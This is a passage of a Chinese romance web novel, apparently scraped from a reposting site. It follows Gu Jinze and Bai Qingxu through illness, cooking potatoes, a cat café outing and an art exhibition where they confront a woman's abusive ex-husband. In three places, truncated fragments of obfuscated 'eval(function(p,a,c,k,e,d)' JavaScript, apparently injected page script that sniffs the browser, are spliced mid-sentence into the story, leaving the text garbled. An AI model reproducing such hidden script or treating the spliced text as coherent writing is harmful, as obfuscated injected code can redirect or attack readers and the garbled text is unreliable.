“回家?”白清许手肘抵在身后的长桌上,活脱脱像个叛逆小孩,“我不想回家。” “......” “为什么不想回家?” “因为我跟爸爸吵架了。” “那跟我回我家,好不好?” 听到这个提议,白清许忽然就笑了:“这个好。” 顾锦泽:“......” 看她晃晃悠悠地从椅子上站了起来,顾锦泽问:“你自己能走吗?” 白清许:“不能。” 他又问:“那怎么办?” 她理所当然地说:“你搂着我。” 这“无赖劲儿”,跟她师傅应如是学了个十成十。 顾锦泽无奈,揉了揉眉心,然后,朝她伸出了一只胳膊。 她像只小兔子一样,噌的一声就跳进了自己的“窝”里。 顾锦泽看着她,也不知道自己哪里来的好脾气,忍不住笑了。 渐凉的夜色里,揽在她腰间的那只手臂坚实又温热。 她在这一刻的安全感,富可敌国。 - 回家之前,顾锦泽带她去看了下医生,检查之后,发现她就是突然受凉引起的轻微发烧,喝点退烧药,再睡一觉就能好,顾锦泽这才放心地把她带回了家。 回到家之后,顾锦泽在卧室门口纠结了下,最终还是把人抱到了客房,然后端来一杯温水,看着她喝下了药,才道:“睡吧。” 白清许:“嗯。” 她最近确实是太累了,中午的时候又大哭了一场,再加上这一下午的奔波,早就疲惫得不行,因此,头一挨枕头,便沉沉睡了过去。 这一睡,就睡了快两个小时。 直到时钟转过零点,她才模模糊糊地转醒,正好碰到顾锦泽进来给她送热水,看他进来,她抱着被子,歪头看着他,一脸憨憨的笑。 顾锦泽心思蓦地就变得特别软,正想问她有没有觉得舒服了些,结果,还没等问出口,就听到她的肚子咕咕叫了声。 这夜太静,因此这一声响就尤为明显。 白清许:“......” 啊啊啊好丢人啊! 偏偏他觉得她这懊恼的模样逗得很,语气溢着笑,问她:“饿了?” 白清许想,既然都这样了,那就既饿之则吃之吧,点点头:“嗯。” “想吃什么?” “狼牙土豆。” “狼牙土豆?” “嗯,外面要焦焦的,里面要糯糯的。” 她本就喜欢鼓捣美食,在国外还潜心拜师学过艺,厨艺自然不必说,但就是这些路边摊,她怎么都复制不来。 不是说复制不来味道,而是复制不来那种感觉。 她在家里,用同样的步骤,放同样的调味料,但就是没有外面小摊卖的好吃。 尤其是大病初愈之后,这胃口,馋的哟。 顾锦泽:“想吃哪一家的,你给我地址,我去给你买。” 白清许听了,轻轻摇头,带着鼻音,委屈巴巴地说:“没有卖的了......” 这几年,京溪城市规划大刀阔斧,二环内连门牌都恨不得标准化,更别说那些路边摊的影子,更是再难寻觅。 “好好好,不委屈,”顾锦泽连忙安慰,“没有卖的,我就去给你做,好不好?” 白清许还没彻底失了理智,不可思议地睁大了眼睛:“你做?” “嗯,你相信我,好不好?” “好吧......” 顾锦泽:“......” 其实,他的厨艺,也没有那么不堪吧...... 从卧室出来,顾锦泽便开始着手准备这道小吃。 他本以为狼牙土豆是土豆的一个品种,后来上网一查,他才发现这是土豆的一种形状。 一种很常见的街边小吃,先把土豆切成像狼牙一样的形状,然后再裹上薄薄一层淀粉,裹好之后用油炸,炸好之后,撒上烧烤料、香菜、葱花等佐料,搅拌均匀,即可食用。 于是,向来懒得进厨房的他,为了家里这个小病猫,只能亲自上阵挑战自我。 但上天给予人的天赋就是有别的,给了他优越的外在、过人的智商和丰厚的财富,但就是没给他一双会做饭的巧手。 这不,这一把在白清许手中行云流水的刀,到他手中,就跟突然生了锈一样。 土豆切得不是太丑,就是太厚,下油锅炸的时候,不是太生,就是太熟。 家里存着的土豆,被他霍霍了个遍,才终于做出一盘暂且能拿得出手的狼牙土豆。 不过,耗时太久,做好端进去的时候白清许已经再次睡着了。 蓬松柔软的被子,把她整个人盖得严严实实,只有一张脸露在外面,她闭着眼睛,黑长浓密的睫毛在下眼睑处投出浅浅阴影,嘴巴无意识嘟着,挺翘的鼻尖上,渗出了一层薄薄的汗意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“刮到?你能被什么刮到?”你做的又不是体力活。 “你管我。” 看他不直面回答,徐滨松又小心翼翼地转移了话题:“对了,你这几天没发生什么事吧。” “能有什么事。” “那就行,”徐滨松看着他的眼睛,回忆道,“以前每次看你因私事出国,回来的时候表情总是不会太好,但这次,感觉你有点不一样。” “哪点儿不一样?” “还能吃的下饭。” 顾锦泽:“......” 能不能盼他点儿好。 “诶,不是我说,”徐滨松看着他的状态,话赶话道,“我这一段总觉得你有点不对劲,以前不知道是哪里不对劲,现在我终于发现了。” 顾锦泽抬眸,问:“我哪里不对劲?” 徐滨松:“感觉你吃饭比之前香了。” 顾锦泽:“......” “恭喜顾老板,”徐滨松调侃他,“你总算活得有点人味儿了。” 顾锦泽听了,斜过去一阵眼风:“损谁呢你。” 结果,被损完,某人不仅没生气,还主动上前去买了单。 “不是,说说呗,”徐滨松跟上他的步伐,“顾老板,到底什么情况啊。” “没什么,就是感觉——”说着,顾锦泽语气忽然顿了顿,买完单,才接上后半句, “老天爷忽然间开眼了。” 这话孤零零的,徐滨松显然没意会到他的意思,疑惑着问:“嗯?” 顾锦泽却没回答他的疑问,而是垂眸,看向了桌面。 收银台前放着一个藤编的小草盘,里面放着满满的话梅糖,供顾客吃完饭之后爽口用,顾锦泽向来不喜甜食,更别说糖了,可这次,他看着,拿了两颗话梅糖放在手里。 然后,徐滨松就听到他看着那枚糖,嗓音含笑地说了一句: “开始赏我糖吃了。” 12. 微醺 看到他少见的柔情流露,徐滨松内心有个角落像被什么打到一样,没立即跟上他的脚步。 而是站在原地,默默地把他说出的两句话连在了一起: “就是感觉,老天爷忽然间开眼了。” “开始赏我糖吃了。” 稍微一琢磨,徐大律师便立刻明白了这句话背后的含义:嚯嚯嚯蓝仲这是要有老板娘了啊! 品读出这层深意之后,徐滨松心里别提有多激动,不过,心里激动归心里激动,嘴上准备的一定是损言损语。 结果,正准备走上前去损他几句,一抬眼就看到顾锦泽朝马路对面走去了,徐滨松以为他是坠爱河坠得脑子缺氧了,赶紧扬声叫住他:“你干什么去?律所在这边。” 顾老板听了,仍旧大步往前走着,只不过,还是抬高手臂,朝着他潇洒地挥了挥手,至于那语气,更是潇洒得很: “翘班。” - 这边,白清许正站在顾锦泽家的厨房里,跟她的爱情导师应如是煲电话粥。 “我跟你说哦清许宝贝,”手机那端的女声,娇俏可人,“就这种时候,你一定不能懈怠,你要乘胜追击知道嘛!” 白清许尾音翘起:“乘胜追击?” “对啊,”应如是条条有理地罗列着她现在拥有的优势,“你看你在他家又是做饭、又是吃饭、又是睡觉的,这不等于慢慢入侵他的私人领地了嘛,我跟你说,这可是绝佳的机会,男人就怕这种入侵感,所以,你一定要再跟他深入接触,这样,下次就能直接睡他的床。” “……”白清许听了,脸一红,轻咳两声,才不自然地问,“可好像除了一起吃饭我俩并没有别的交集,这次生病是偶然事件。” “哎呀,你管它是什么事件啊,再说,偶然也是可以通过努力变成必然的啊,”应导师丝毫不吝啬自己恋爱经验的分享,“再说,生活又不是小说,哪里会有那么多偶遇,所以,你自己一定要创造机会,比如说给他送个饭啊,或者说,有什么事情需要他帮忙并且还是非他不可的那种啊,反正大概就是这么些个情况,总结起来就是,你要营造出一种‘没你不行’的那种迫切感,然后用一次又一次的接触一举把他拿下!” 她这边运筹帷幄得慷慨激昂,白清许正听得有劲呢,突然音响里传过来一道清沉、带着微微警告意味的男声:“应悠悠,不准误人子弟!” 应如是一听,大眼睛一瞪,理直气壮地回:“谁误人子弟啦!我当初就是这么把你拿下的啊!” 廖清杉:“…………” 人家是做饭好吃,入侵别人的私人领地;她可倒好,自己做饭难吃,被迫让他入侵她的私人领地。 真有你的啊应悠悠。 就这样,原本是来上爱情课的白清许被迫吃了一嘴狗粮。 这情况,再打扰就不礼貌了,于是,道了声谢,白清许很快便挂了电话。 然后,她就站在厨房里,陷入了沉思。 怎么创造更近一步的机会呢? 看到还剩下的几个土豆,白清许一下子来了灵感,想着索性把它做成烤薯格,再做上几杯现做的热拿铁,做成下午茶送到他公司,这不就是一个绝佳的机会吗。 有了想法之后,白清许立刻就行动了起来。 先是把土豆削皮浸泡,然后便拿出波纹刀、也就是狼牙土豆的专用刀,操作了起来。 有了波纹刀,薯格很快就切好了。 切好之后,白清许又把它处理了一下,然后放入了烤箱。 这边准备就绪,她正准备磨咖啡豆的时候,门铃突然响了起来,白清许放下手中的工具跑到玄关,透过可视屏一看,站在门外的是她有过好几面之缘的保安大哥,他穿着工作服,手里还拿着一个快递文件。 确认安全后,白清许这才开了门。 看到门开,保安大哥立马笑眼盈盈地迎了上来,问候道:“顾太太好,这是顾先生的快递,麻烦您签收一下。” 白清许一听,眼睛瞬间就瞪大了:“???” 他他他……他叫我什么? “那什么,我不是……”她下意识地想要解释,毕竟觉得这便宜不能这么占,这也太不厚道了。 结果,还没等她把解释的话说出口,身后突然传来一道清越的嗓音:“我来签就行。” 一抬眸,她就看到顾锦泽一身西装笔挺地从电梯里走了出来。 他上午有脱不开身的会议,所以穿得很是正式,白衬衫配黑西装和黑领带,帅得让人挪不开眼。 然后,白清许就将目光定在他身上,看着他拿过笔,行云流水地在快递单上签了自己的名字,然后,又看着他签好之后,朝保安大哥微微颔首:“谢谢,辛苦。” 保安大哥:“应该的,那我就先不打扰了,顾先生顾太太再见。” 说完,便连人带影地极速消失了两人的视线中。 看电梯层数开始下行,白清许拽了拽衣角,有些不自然地开口:“那个……” 顾锦泽看着她:“哪个?” 白清许指了指电梯:“他好像误会了。” “误会什么?”顾锦泽回想了下,才恍然大悟道,“哦,你说那个啊,我等会儿下去的时候跟他解释一下。” 白清许有点看不懂他的操作,小声嘟囔:“……你刚刚怎么不解释。” 这拖拖拉拉的处事风格,一点都不像他。 顾锦泽假装没听清,问她:“你说什么?” 白清许:“没事。” 顾锦泽在她看不到的地方,抿唇偷笑了下,与此同时,他还嗅觉灵敏地捕捉到了一股诱人的香气。 “你在做饭?”他问。 “不是,我看还有土豆,所以就烤了一些薯格,想着可以送到你公司当下午茶,”说完,白清许看了眼时间,“应该快好了,你过来尝尝。” 私厨就是私厨。 平凡至极的原材料,都能被他们的手,烘焙出意想不到的美妙风味。 顾锦泽看着这一盘色香味俱全的烤薯格,贴心地问:“切这个不容易吧?” “没有……”正说着,想到刚才爱情导师对她的谆谆教诲,白清许立马就改了口,“嗯,我从早上就开始切,一直切到现在,才切出来这么一小盘。” 说完,又可怜巴巴地添油加醋道:“你都不知道,切这个可费劲了,比狼牙土豆费劲多了,狼牙土豆切成横道就行,薯格得切成井字,特别难。” “哦?”顾锦泽尾音扬起,饶有兴致地说道,“那真是辛苦你了。” 白清许呵呵的笑:“没关系,大家喜欢吃就行。” 看她不入套,顾律师自然有的是方法,随即便换了个提问方式:“狼牙土豆一般卖多少钱一份?” “啊?”白清许回忆了下,“应该也就十来块钱吧。” “那还挺便宜。” “土豆本来就不贵。” “我不是说原材料,我是说人工,按你这么个切法,人工费收便宜了。” 白清许:“……” 不知为何,莫名有种要被他捉弄的预感。 “白清许。”果不其然,戏谑的嗓音。 “嗯?” “你这姑娘,确实挺坏。”顾锦泽看着她,嗓音含着笑,慢条斯理地说,“薯格这个东西,用那种波纹刀,正着切一刀,然后把土豆翻过来,再切一刀,一共两个步骤,不到一秒钟,就能切成这样的形状,是不是?那个狼牙土豆,也应该用这种刀切,是不是?” 白清许:“???” 不是吧,她就这样翻车了? 万不得已,她才点头:“嗯……” “那你为什么不告诉我?” “我不是怕你觉得自己蠢吗?” 顾锦泽:“……” “我本来不这么觉得,你这么一说,我倒是觉得……” 看他要在这个话题上问个没完,白清许也学他,立刻转移了话题:“对了,你中午不是不回来吃饭吗?” “嗯,我闲着溜达,溜达到家了。” “这样啊,”白清许笑着跟他打趣,“我还以为你是怕我携你家的东西潜逃呢。” “这个不怕。” “嗯?” “你忘了我是干什么的了?” “?” “如果那种情况发生,你放心,我一定协助警方,把你缉拿归案。” “……” 咱就说,天已经被聊死了。 但是,身为应如是老师的学生,岂能被这点尴尬给难住! 白清许立刻就找到了给两个人创造相处机会的新方法,循序渐进地问他:“那你下午还用去上班吗?” 当然用,他这样的业界精英,天天都忙得不行。 但顾锦泽还是说:“下午没什么工作,有什么事儿,你尽管说。” “就我朋友在京郊开了一家猫咖,然后说要送我一只猫,很早就说好要去取了,不过因为路比较远,再加上我车技不太好,所以一直没机会去。”白清许有理有据道,“如果你有时间的话,可以送我过去吗?京郊景色挺好的,正好你也可以过去放松放松。” 顾锦泽没怎么思考就应了下来:“好。” - 那只猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾锦泽在心里略微琢磨了下,才知道自己差点被这姑娘耍了。 “白清许。” “嗯?” “你还挺会做买卖。” “是吧,我也这么觉得。” 话音一落,两个人都在心间生出一种似曾相识感。 这对话,像极了她提及过的漫画《叮咚!您点的乌龙面已送达!》中的一幕。 当时,应如是想去云漫山看日出,廖清杉不想带她去,她就跟他谈条件:“我先享受一下做你女朋友的权利,你先履行一下做我男朋友的义务。” 廖清杉回复了她一句:“你还挺会做买卖。” 应如是听了,丝毫不觉得有什么不妥,反倒摇晃着小脑袋,得意洋洋地说:“是吧,我也这么觉得!” 把廖清杉治得一愣一愣的。 因为工作原因,顾锦泽跟廖清杉关系甚笃,所以私下跟应如是也有过几面之缘。 顾锦泽对她的印象就是,整个一大活宝,提溜着两个大眼睛,永远猜不到她脑子里在酝酿着什么奇思妙想。 亦如现在,他怎么都不会想到,眼前这个姑娘,竟然已经深得“悠式恋爱哲学”的滋养。 这不,白清许这算盘打得应如是在市中心都听到了。 结果,没想到,大失策啊大失策。 ——今天是个阴天,根本看不到星星。 就这样,原本数不清数量的星星,瞬间变成了零。 两个人谁也不占上风。 怕他会先说出答案,于是,白清许抢占先机,举起胳膊道:“月亮是一个,我先回答出来的,所以算我赢!” 顾锦泽就没想让她输:“本来就是你赢。” 说完,看着她,笑了:“有什么愿望,说吧。” 白清许:“真要说啊。” 顾锦泽:“说吧。” 白清许:“那你现在给我变出一颗糖。” 她逗他的,知道他不爱吃糖,所以用这样一个方法来抛砖引玉。 然后,再利用他的愧疚心理,去提出一个更大的愿望,让他不好拒绝。 这算盘打得,“乌冬粉”在全世界都听到了。 结果,没想到,又是大失策啊大失策。 因为,话音刚落,她就听到顾锦泽说:“那你闭上眼睛。” 她心有疑惑,却还是照做。 很快,她的耳朵就捕捉到了一阵轻微的撕拉声。 裹在风里,像是糖纸在剥开。 “白清许。” “嗯?” “睁眼。” 就这样,她在他的指令中,睁开了眼睛。 然后,一低眸,就看到他白皙宽厚的掌心里,放着一枚爱心形状的话梅糖。 在月光下,闪着淡淡的光。 13. 微醺 他手心中央的那颗心形话梅糖,小巧精致,惹人注目,所以,他下意识以为她的注意力会全部放在这颗糖上。 却没想到,一道细小的伤痕,早已在她的目光里喧宾夺主。 看到他右手手指上的红色伤口,白清许急得直接拽住了他的手腕,抬眸问他:“你手怎么回事?” 顾锦泽就着她的目光落下去,才知道她在问什么。 他觉得在手指上贴个创可贴太过醒目,也怕她看到会多想,所以提前把它撕了下来,结果没想到弄巧成拙了。 其实,就两道红红的口子,创可贴贴了半上午,早已经愈合了,不细看根本看不出来。 顾锦泽个大男人,从来没把这点小伤当回事儿,于是,在她的注视里,自然而然地收回手指,语气随意道:“没事。” 白清许却不放过他,眉头蹙起,盯着他问:“是不是昨晚切土豆的时候伤到的?” 一副不问出个答案誓不罢休的气势。 “你瞎说什么呢,”怕她内疚,顾锦泽目光里噙着调侃的笑意,先声夺人道,“白清许,你不能因为自己是大厨,就这么冤枉我。” 白清许:“嗯?” 顾锦泽解释道:“我还没蠢到连个菜刀都用不好。” 白清许听了,微微敛眉,小声地说:“......我没觉得你蠢。” 趁她沉默,顾锦泽赶紧把这一页给掀了过去,抬高手,笑着问她:“那要不要吃聪明人给你剥的糖?” 她眼里的阴霾这才一扫而空,目光亮亮地看着他:“要!” 说完,想要伸手去拿,结果,发现自己手里还抱着猫。 抱过猫的手直接拿吃的,对她这个洁癖选手来说简直就是徒刑,没办法,只好问顾锦泽:“你带湿纸巾了吗?” 顾锦泽看着她抱猫的手,说:“车里有。” 白清许:“可我现在就想吃。” 顾锦泽:“......” “但我两只手都抱过猫了,”想到接下来要说的话,白清许有些紧张地顿了顿,“所以——” 顾锦泽趁着这个空档问她:“所以什么?” 此情此景,白清许感觉自己真的被逼上了梁山,才得以说出一句:“所以,可以麻烦你喂我一下吗?” 说完,心脏就扑通通地快跳了起来。 啊啊啊他不会拒绝吧! 千万不要啊! 那她会很没面子的! 顾锦泽看着她因紧张而扑闪的睫毛,无奈又宠溺地笑了下,最后,没有犹豫地选择了尊重自己的本能,当然,也顺了她的意。 白清许是在想方设法给自己搭台阶下的时候,忽然听到他说:“张嘴。” 两个字,温温柔柔,清润磁性。 然后,她就看到他抬高了手臂,纤长指节与她的距离在月光下渐渐拉近。 白清许本以为,此情此景下,她和他会用望向彼此的目光,酿造一场含羞的、带怯的、暧昧的、浓郁的注视。 却没想到,空气忽然间跟加了粘稠剂一样,让她望向他的目光,浓稠到寸步难行。 难以计算到底过了多久,那枚心形的话梅糖,才终于从他的掌心,传递至她的舌尖。 掌心、舌尖,两者皆是温热。 但与他人的一触碰,便能瞬间燎原成燥热。 她再小心翼翼,也没能逃过舔到他指尖的结局。 感受到他的体温,她像个做错事被人抓住的小孩一样,慌慌张张地别开了目光。 以至于错过了他指尖在触碰到她舌尖时,他那一双,也有些惊慌失措的眼睛。 话梅糖含在嘴里,酸酸甜甜,像极了爱情的滋味,白清许吃着,忽然笑了起来,眉眼一弯,灿灿烂烂:“这糖真的很好吃,谢谢你。” “不用谢,”顾锦泽用余光打量着她,唇角浮有笑意,“等会儿吃完糖,可以跟我说出你真正的愿望了吧。” “啊?”白清许没反应过来,“真正的愿望?” “难道你的愿望就是想吃颗糖?” 这当然不能是啊! 可是再要一个愿望是不是太过分了啊! 不过,脑海里刚一浮现这个想法,悠悠宝贝就拿着小教鞭出现了,她右手重重拍着黑板,一脸“恨铁不成钢”的表情,给她上课: 清许宝贝! 这过分吗! 这当然不过分啊! 我不是跟你说过了么!他给你颜色,你一定要灿烂! 不仅要灿烂,还要用这点颜色去开大染坊,染一块绯红的胭脂,染一双青黛的柳眉,再染一条漂亮的裙子。 迷不死他! “其实,我真正的愿望是——”想到爱情导师的训诫,白清许及时接住了刚刚的那个话题,“这周末,如果你有时间的话,我想让你陪我一起去看展。” “当然,前提是你有时间。” 顾锦泽:“行。” 他答应得太爽快,白清许有些不可思议:“就这样?” 顾锦泽挑眉看她:“你还想怎样?” 她听了,摇摇头,一点都不贪心:“没有想怎样,就是觉得很开心,我今天得到了三个愿望耶。” 吃到了糖。 而且,还是他喂的糖! 而且,还给自己预存了下一颗糖! 顾锦泽看着她一脸满足的小表情,心思忽然就放得特别软。 - 这周末,顾锦泽从繁忙的工作里,特意抽出了两个小时的时间,陪她去看展。 这次展览名为《E=qual》,策划者是白清许在意大利留学时的学长,不过,机缘巧合的是,这个展览名是白清许起的。 此次展览,主要是将古今中外的知名画作,通过高科技的3D全息投影进行展示,意图让每一位到来者,都能有身临其境之感。 除此之外,本次展览与其他展最大的不同点是,这次的展览,全部都是女画家的作品。 提起享誉中外的画家,大家耳熟能详的,永远是梵高、莫奈这样的男性画家。 却鲜少有人知道,像贝尔特·莫里索、乔治亚·奥基夫这样优秀的女画家,创作出来的作品同样称得上是神来之笔,是天才之器。 这些作品,有的浓烈大胆、有的温和清淡,但全都如出一辙的,色彩饱满,情感贞烈。 “我之前总觉得艺术家,尤其是天才艺术家,是一个特别没有人情味的称号,”白清许走在顾锦泽身侧,与他小声交谈着,“因为,我总觉得天才两个字太脱离人群了,直到我上次来国博看展,偶然发生了一件事,改变了我的看法。” 顾锦泽迁就着她的脚步,好奇地问:“说来听听。” 白清许娓娓道来着故事的全貌:“那次展览,有些展厅外面会放一个开放性的记录本,供每一个游客记录自己的感受,那天,我写完自己的感想,就好奇地往前翻了翻,然后,我在无意间看到了一个关于天才的惊艳定义。” 顾锦泽问:“是什么?” 白清许说:“天才是整个人类文明的孩子。” 顾锦泽一听,脚步下意识一顿。 他对艺术是绝对的外行,看展这样的活动,在遇到白清许之前,更是几乎为零。 但这些都不影响,他在听到这句话时心灵深处的微颤。 他想,文字的力量怎么可以这么奇妙。 这份关于天才的定义,既有横跨中西的高度认可,又有贯穿古今的温情脉脉。 看他凝神,白清许问:“那你觉得什么是天才?” 顾锦泽想了想,说:“不媚俗时代。” 白清许:“嗯?” 顾锦泽:“才华是基本,但我觉得,更要有独立人格和清醒良知。” 顿了顿,他也学着她,埋了个伏笔:“我也是在无意间,听说过一个说法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她觉得拥有一个幸福的家庭更重要的时候,自然可以投身于相夫教子,她觉得自己不能再信任感情,自然也可以及时抽身,这是她的自由,每个人都不应该被过去掣肘住脚步,不管是当初的一意孤行,还是现在的迷途知返,我都觉得她很勇敢。” 白清许听了,眸光一怔。 这句话对她的触动,与当初看到那句“天才是整个人类文明的孩子”时的震撼,有过之而无不及。 这是她第一次听到这种说法:女性选择家庭,也是一种勇敢。 “千帆姐听到这个评价,”白清许说,“一定会很开心。” 她一定没想到,一个事业有成的男性,会给予她“勇敢”这样贴切且不带任何有色眼镜的评价。 “白清许。” “嗯?” “你也很勇敢。” 白清许:“我勇敢?” 顾锦泽看着她,很郑重地点头:“嗯。” 那天,看到她哭,听到她说“我不乖,我特别坏”,顾锦泽的心情也随着她,难受到不行。 当晚,他就给白清让去了个电话,然后,大致了解了她身上的故事。 知道她从来不诉苦,也从来不抱怨,坚定了自己想走的路,便勇敢争取,然后,用七窍玲珑心,为自己的梦想争得一席之地。 所以,他对她,不只有面对异性的心动仰望,更有无关性别的真诚欣赏。 眼前的小姑娘,温柔、勇敢、灵动、有才。 所以,每次看到她的时候,他时常会有一种感觉—— 这么多的好,放在她身上刚刚好。 他心中已经自问自答了一番,但白清许的疑惑仍然未解,问他:“我哪里勇敢?” 顾锦泽看着她,眼里满是真诚,一字一句地回答道: “忠于自己就是最大的勇敢。” 14. 微醺 “忠于自己就是最大的勇敢。” 他站在落地窗邀请进来的阳光里,目光真挚,字字清晰。 这一刻,白清许恍然感觉—— 他的话,才有千钧之力。 有这么一个瞬间,两个人都没有说话,任沉默,偷走时光。 直到有人叫她的名字,这份沉默才得以打破。 “清许。”从两人身后传来的一道男声,温润柔和,不疾不徐。 听出熟悉的声音,白清许转身看了过去,看到来人,立刻抬高胳膊,笑眼盈盈地朝他招手:“师哥!” 顾锦泽也随她的视线看了过去,一个男人正朝他们走来,他身着一件青绿色古意衬衫,唇角含着淡淡的笑,像从画里走出来的人,气质清绝出尘。 结果,一开口,瞬间就接了地气:“你瞅瞅你,过来怎么不跟我说一声。” 白清许冲他狡黠地眨了眨眼:“你这就不懂了吧,我这属于微服私访。” “嗯?” “看看你有没有丢唐纳德老先生的人。” “那有没有丢?” “嗯……”白清许以手抵颌,演得挺像那么回事,“颜面暂且算是保住了吧。” 说完,又立刻放下了手,“好了,不跟你开玩笑了,我给你介绍一下,这位是我朋友顾锦泽,是一名非常优秀的律师。” “你好,”他友好地伸出手,“顾律师。” 顾锦泽礼貌回握:“你好。” “哎呀,你看看你,又自作主张了吧,我这还没给你们介绍完呢,”白清许说着,俏皮地瞪了他一眼,然后将目光看向顾锦泽,给他介绍着,“这位是我在国外读书时的学长,秦岁淮,大艺术家!今天的展就是他们工作室办的。” 听她这么介绍,秦岁淮当即摆手,表示不接她画的饼:“行了,多少年了,嘴甜的毛病就是改不了。” 白清许自然而然地呛他:“改不了就不改呗,你觉得是毛病,说不定别人觉得是优点呢。” 秦岁淮听了,拿食指点了点白清许,一副“恨铁不成钢”的喟叹语气:“一如既往的能说会道!” 白清许:“你看看,承认我这是优点了吧。” 秦岁淮哈哈大笑,一袭落拓青衫,就这样沾染上了满身烟火气。 老友久别重逢,难免想要叙旧两句,于是,顾锦泽绅士得体地为他们让出私人空间:“那我先下去取车,你们聊。” 说完,又特意叮嘱白清许:“不用着急,再晚我都等你。” 白清许看着他的眼睛,乖乖点头:“嗯。” 等顾锦泽走后,秦岁淮看着那个西装笔挺的身影,又回头看看白清许的眼睛,问她:“男朋友啊?” 白清许:“还不是。” “嗯?” “正在努力中。” “什么叫正在努力中……” 结果,秦岁淮的话只问了一半,就看到白清许以风一般的速度跑了出去。 - 落地窗外。 程千帆没想到会在这里遇到前夫付成。 结婚十多年,他明知道自己的兴趣和专业,却从来没有腾出过哪怕一个小时的时间,陪她看过一次展。 可现在,他却愿意为了身边的女人,牺牲周末宝贵的休息时间,只为陪她。 程千帆看着付成贴上去的笑脸,忽然觉得很讽刺。 尤其是,这女人的照片她见过,在付成的手机相册里。 名字她也知道,是他喝醉酒时止不住呢喃的名字。 可当初他们在一起时,付成明明说,她是他的初恋。 现在看来,全是谎言。 白清许到的时候,那些陈年旧事,已经被程千帆猜的八.九不离十。 “所以——”程千帆冷漠地看着付成,“你当初是因为爱不到她,才来爱我的,是吗?” “不然呢,”他脸上窥不见一丝愧疚,“你以为你是谁。” 程千帆一听,当着众人的面,抬起手,一个巴掌就扇了过去。 行动利落,声音响亮。 当着众人的面被一个女人打耳光,哪个男人面上都挂不住,付成捂着脸,气势冲冲地朝程千帆走去:“你他妈竟然敢打我?看我不……” 结果,刚抬起的胳膊,瞬间就被人打了下来。 “她凭什么不敢打你,”白清许把程千帆护在身后,冲着付成,目光里没有一丝怯意,“还‘你以为你是谁’,你他妈先撒泡尿看看你是谁!” “清许,”程千帆把她往后拽,但是没有拽动,于是只有劝说道,“你不要管这件事。” “对,跟你没关的事你少管,”付成没好气道,“你嘴巴也给我放尊重点!” “尊重?”白清许冷笑一声,像看笑话一样看着他,“从你嘴里吐出这两个字,比从狗嘴里吐出这两个字,还让我难受。” 一个对比,彻底激怒了付成,他撩起袖子就走了过来:“你个臭婊子,你再说一句试试。” 白清许:“试试就试试!敢跑你就不是个男的!” 她最近在练跆拳道,首先练的就是速度和发力点,以至于程千帆拼尽全力也没拉住她。 白清许这人不打没有胜算的仗,她之所以敢应战,就是因为她知道付成几斤几两,她也没想真正跟他动手,就想着用几个动作晃晃他,给他个下马威就行。 结果,下马威是给了,她用轻松的一个回旋,便让他摔倒在地。 但她却忘了,任何技能的掌握都是一个循序渐进的过程,任何运动光有着力点还不够,还需要对周遭环境进行观察,但她还没学到这一步,眼睛只顾着盯着付成,全然没留出心思去应对突然出现在视线里的一个下坡。 眼看着就要摔倒,耳边忽然响起一声:“白清许!” 紧接着,她感觉腰间传来了一只有力手臂,紧紧箍住了她的腰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是,二话不说拿着它走了下来。 “怎么拿的这套?”顾锦泽看到她手里拿着的衣服,问。 “这套怎么了?” “这是睡衣。” “在家穿睡衣不是很正常?” 顾锦泽:“……” 在家穿是正常,但在你面前穿不正常。 顾锦泽不想再折腾她,想着等她走了再换就好:“那你先放这儿吧,我等会儿换。” 白清许没放。 不仅没放,还看着他受伤的手肘,明晃晃地问: “需要我帮忙吗?”